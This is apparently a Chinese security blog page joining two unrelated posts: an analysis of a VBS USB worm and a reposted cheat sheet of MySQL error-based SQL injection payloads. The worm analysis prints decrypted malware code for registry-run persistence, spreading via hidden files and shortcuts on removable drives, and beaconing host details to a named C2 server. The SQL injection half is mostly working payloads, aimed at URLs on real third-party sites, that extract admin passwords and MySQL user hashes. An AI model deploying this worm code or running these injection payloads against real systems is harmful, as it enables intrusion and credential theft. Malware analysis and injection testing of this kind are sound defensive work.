2016年4月

未命名VBS蠕虫分析过程

前情概要: http://sys7em.info/index.php/archives/463/

本人在好几年前稍微学过一阵子的 VB, 

大概能够写一个 msgbox 的程度..
有些地方分析不到位的情况还请看官们海涵指出. :P

废话不多说,进入主题.

刚拿到蠕虫样本的时候打开是这样的 ↓

未解密-样本源代码

一条一条往下看, 第一条内容是一大堆的意义不明的字符.

粗略看下去像是 Base64,
但是直接拿去 Base64 解码肯定会得到一堆奇♂怪的东西.

因为代码经过了混淆的.
但是此脚本能够正常执行肯定会有一个还原的过程,

而下面的两句就是还原过程了.
首先经过 ss() 函数把字符串最前面的单引号给去掉,

然后返回一个值给 StrReverse() 函数.
StrReverse 函数功能是将一个字符串给反向输出,

所以我们得知作者只是简单的把 Base64 过的代码给反向了一下而已....

而再下面的一句 ExEcUtE 函数的功能是 "执行一条或者多条语句",

可以猜测 ExEcUtE 后面跟着的那串是已经解密了的代码内容.

我们将

ExEcUtE ughrtughrjkotgiojrgiuhrughtghithgihrgit2

替换为

set fso=createobject("scripting.filesystemobject")
set zsc=createobject("scripting.dictionary")
if(fso.fileexists("a.txt")) then
    set file=fso.opentextfile("a.txt",1,true)
else
    set file=fso.createtextfile("a.txt",2,true)
file.write(ughrtughrjkotgiojrgiuhrughtghithgihrgit2)
end if
file.close

运行脚本将会在同目录下生成一个 a.txt, 里面就保存了我们想要的代码内容.

打开 a.txt

解密后-蠕虫代码

"config" 和 "public var" 以及 "private var" 都是基础变量定义. 

真正的程序主体在 "code start" 下. 

第一步调用 instance 函数初始化蠕虫

开始一个死循环
调用 install 函数安装蠕虫病毒

定义参数并调用 post 函数向服务器发送数据

调用 split 函数格式化服务器返回数据

根据服务器返回的指令遍历指令集执行对应的操作

sleep 默认定义的 5000ms 后再次执行此循环

这就是蠕虫的一个生存周期的动作了.

我们跟着蠕虫的思路走, 首先第一步初始化 instance.

function instance
  on error resume
  next usbspreading = shellobj.regread(
    "HKEY_LOCAL_MACHINE\software\" &
    split (installname,".")(0) & "\")
  if usbspreading = "" then
    if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
      usbspreading = "true - " &
        date shellobj.regwrite"HKEY_LOCAL_MACHINE\software\" &
        split (installname,".")(0) & "\", usbspreading, "REG_SZ"
    else
        usbspreading = "false - " &
          date shellobj.regwrite"HKEY_LOCAL_MACHINE\software\" &
          split (installname,".")(0) &
          "\", usbspreading, "REG_SZ"
    end if
end If

可以看到首先判断是否已经初始化过了, 如果没有则执行接下来的一系列操作. 

然后是判断自己是否处于驱动器的根目录, 

如果真则设置子键名为 true 反之 false, '-' 之后跟着的是日期. 

这里的 true 和 false 应该是为了判断是否是蠕虫主动传播的.

初始化完毕后跟着走 install函数 

install 函数

开头定义了几个函数范围内的参数,

接着调用了 upstart 函数, 看看 upstart 是干嘛的.

sub upstart ()
  on error resume
  Next shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" &
  split (installname,".")(0), "wscript.exe //B " &
  chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" &
  split (installname,".")(0), "wscript.exe //B " &
  chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  filesystemobj.copyfile
  wscript.scriptfullname,installdir &
    installname,true
  filesystemobj.copyfile
  wscript.scriptfullname,startup &
    installname ,true
end sub

这个函数的功能还是蛮容易理解的, 将蠕虫自身写入注册表的启动项.

然后分别将自身复制到系统的启动目录以及 %temp% 目录.

让注册表的启动项调用. 

回到 install 函数

for each drive in filesystemobj.drives
  if drive.isready = true then
    if drive.freespace > 0 then
      if drive.drivetype = 1 then

循环遍历计算机内存在的所有驱动器, 接着判断驱动器是否已经加载并准备完毕, 

驱动器的空余空间是否大于0, 并判断驱动器是否属于可移动磁盘.

三个条件全满足才可激活接下来的感染过程.

filesystemobj.copyfile
wscript.scriptfullname , drive.path &
  "\" &
  installname,true
if filesystemobj.fileexists (drive.path & "\" & installname) then 
filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
end if

此段代码功能为将蠕虫自身复制到驱动器的根目录并隐藏自身,设置文件属性为隐藏+系统属性.

(instance 可以由此判断蠕虫是否是主动传播的了,虽然我们可以手动将蠕虫放到根目录, 但是一般人都不会这样做的吧 XD)

接着往下看

install for 循环

这两段 for 循环的功能都是一样的,

唯一区别是上一段 for 循环针对的是文件, 下一段则是文件夹.

功能都是将原本的文件属性设置为 "隐藏+系统", 然后新建一个指向 cmd.exe 的快捷方式,

而后面则跟着一条执行蠕虫自身的代码.

由于源文件以及源文件夹都被蠕虫设置为 2+4 也是就 "隐藏+系统" 属性,

一般情况下是看不到的.只有打开了文件夹选项中的 "显示隐藏文件" 以及 "显示系统文件" 才能看到.

所以可以预见, 用户拿着被感染的移动磁盘接入了家中或者学校中一台普通的计算机或者保存着重要内容的计算机.

打开了可移动磁盘, 点击并打开了显示在文件夹中的快捷方式.

然后蠕虫开始加载并执行, 又一台电脑 boomshakalaka.

现在大众的安全意识都有普遍的提升,家中平常都会装有并运行着防护软件, 可以将可移动设备的 autorun 功能给拦截掉,

所以大部分通过 U盘 等可移动设备传播的病毒和木马都死于 autorun 被拦截这一条路上,

但是这个蠕虫别开思路,想法很新奇啊, 至少我没有想到, 我个人还是蛮佩服作者的,能够想到这个方案.

接着走

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)

调用了 post 函数, 

并像 post 传递了两个参数, 一个是 "is-ready",一个是空 "". 

跟进 post

蠕虫 post 函数 

post 函数向服务端发送了一个 post 请求.

post 地址格式为 http://host:post/cmd, 没有参数, 但是把传递的内容写进了 user-agent.

user-agent 调用了 information, information 又调用了 hwid.

获取了主机名,用户名及操作系统的相关信息.

将这些一并通过 http 发送到服务器上, 然后控制端会返回一个控制指令.

通过 split 函数提取控制指令,根据指令 switch 对应的操作.

每五分钟执行一次 install 以及与控制服务器通信.达到持久控制的效果. 

以上此蠕虫的基本分析. 因为作者更改了服务器的地址,

而我没有获取到新的蠕虫样本, 不能跟进测试实在是有些伤心,

接下来的函数分析之类的没多大动力做了. 大概(?)到此为止了.

以下是此蠕虫的指令集:

install
excecute
update
uninstall
send
site-send
recv
enum-driver
enum-faf
enum-process
cmd-shell
delete
exit-process
sleep

可以做一个流量分析工具, 通过抓包分析入站流量, 发现符合指令集内容可以上报至控制中心.达到监控可疑流量的目的.

未命名VBS蠕虫

从山东读大学的一个朋友那里得到的这个蠕虫样本,编写语言为 VBS. 

此蠕虫功能为当插入移动磁盘的时候将移动磁盘内的文件感染为指向蠕虫的快捷方式.达到传播自身的目的. 

文章最后会放出源文件和解密后的代码以及查杀工具.

根据相关关键字在共搜索到三篇类似的分析文章, 不过都是 2014 年的帖子.

最早一篇是 2014年1月 发布于 52pojie 的一篇 一个VBS脚本病毒的简单分析 

其次便是 2014年5月 发布于 习科 的一篇 记解密一则VB病毒 

最后则是同年 12月 发布于 百度贴吧-西工大附中吧 的一篇 Stop Hunting! updat.vbs深度解析。腿已软。。。 

2015年10月 发布于 吾爱破解 lqsizcsvnr..vbs 修改了什麼文件今天U盘被借走了 

### 跟进 ###

2013年11月 发布于 CSDN 的一篇 进来一起研究下 XDDDDDD 

因为无论是编写方式,加密方式,以及后续的处理方式都如出一辙, 仅仅修改了部分关键字.

所以初步认定此以上脚本为同一个脚本.

而后两篇发布于 习科 以及 贴吧中的样本更是一模一样.

2013年11月 发布的帖子中,服务端地址为: viruoos.no-ip.biz:81

2014年1月 发布的帖子中, 服务端地址为: j2w2d.no-ip.biz:81

同年 5月 以及 12月中, 服务端地址为: ysf.no-ip.biz:1168

2015年10月, 服务端地址为: imad1212.dnsd.info:1346

我于昨天 4月12 得到的样本, 服务器地址为: microsoftvisual.bounceme.net:107

截止发稿日, 此地址不可访问, 本来打算做完后续的调查才发稿的, 很是遗憾. 只能写篇蠕虫分析了.

未解密-样本源代码

上图为刚拿到的样本源文件, 并没有解密.

可以看到无论是混淆还是加解密
都跟之前几个帖子中的处理方式如出一辙,

我可不相信只是简单的雷同, 而逆向出来的代码更是"一模一样"

'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "microsoftvisual.bounceme.net"
port = 107
installdir = "%temp%"
lnkfile = true
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
dim shellobj set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\" installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then
  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
  sleep = 5000
  dim response
  dim cmd
  dim param info = ""
  usbspreading = ""
  startdate = "" 
  dim oneonce

此蠕虫脚本自发现到现在 2016年4月, 共发展好几年时间, 但是并没有任何风声.

并且貌似只针对学校群体, 从我朋友的说明以及在之前的帖子中也都能发现这些痕迹.

由于样本不够丰富,只能暂时放弃跟进分析

查杀工具: uninstall

压缩包内容: 

| uninstall.bat // 蠕虫查杀本体

| d.vbs // 用来获取一些系统变量

| uninstall.vbs // 恢复被感染文件

使用说明: 解压文件到可移动磁盘下后运行 uninstall.bat, 如果运行过程提示输入一律输入 y 即可.

样本文件:样本

压缩包内容: 

| nxgmhezikz.vbs // 样本源文件 

| 输出加密字符串.vbs // 可以在当前目录生成一个名为 a.txt 的解密文本 

| 已解开的加密内容.txt // a.txt 重命名后的文件 

解压密码: 

http://sys7em.info/

如果不想下载的朋友可以看我的另外一篇分析过程: http://sys7em.info/index.php/archives/473/

MySQL 5.1+ 数据库报错注入利用

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:

  首先进行正常查询

mysql> select * from article where id = 1;
+—-+——-+———+
 | id | title | content | 
+—-+——-+———+ 
| 1 | test | do it | 
+—-+——-+———+

  假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

  可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。 

  例如我们需要查询管理员用户名和密码:

Method1: 
  mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key 'group_key'
Method2: 
  mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue 

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml 

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’
?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

转载来源不详, 地址:http://www.dreaminto.com/2013/0620/753.html

另外一篇更加详细的

1、通过floor暴错 

/*数据库版本*/

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 /*简单办法暴库*/ 

http://www.waitalone.cn/sql.php?id=info()

/*连接用户*/

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/ 

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/ 

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 /*暴表*/

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴字段*/

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 /*暴内容*/ 

http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e)) http://www.waitalone.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

5、Error based Double Query Injection(http://www.vaibs.in/error-based-double-query-injection/)

 /*数据库版本*/

http://www.waitalone.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

转载地址: http://www.waitalone.cn/mysql-error-based-injection.html | 独自等待-信息安全博客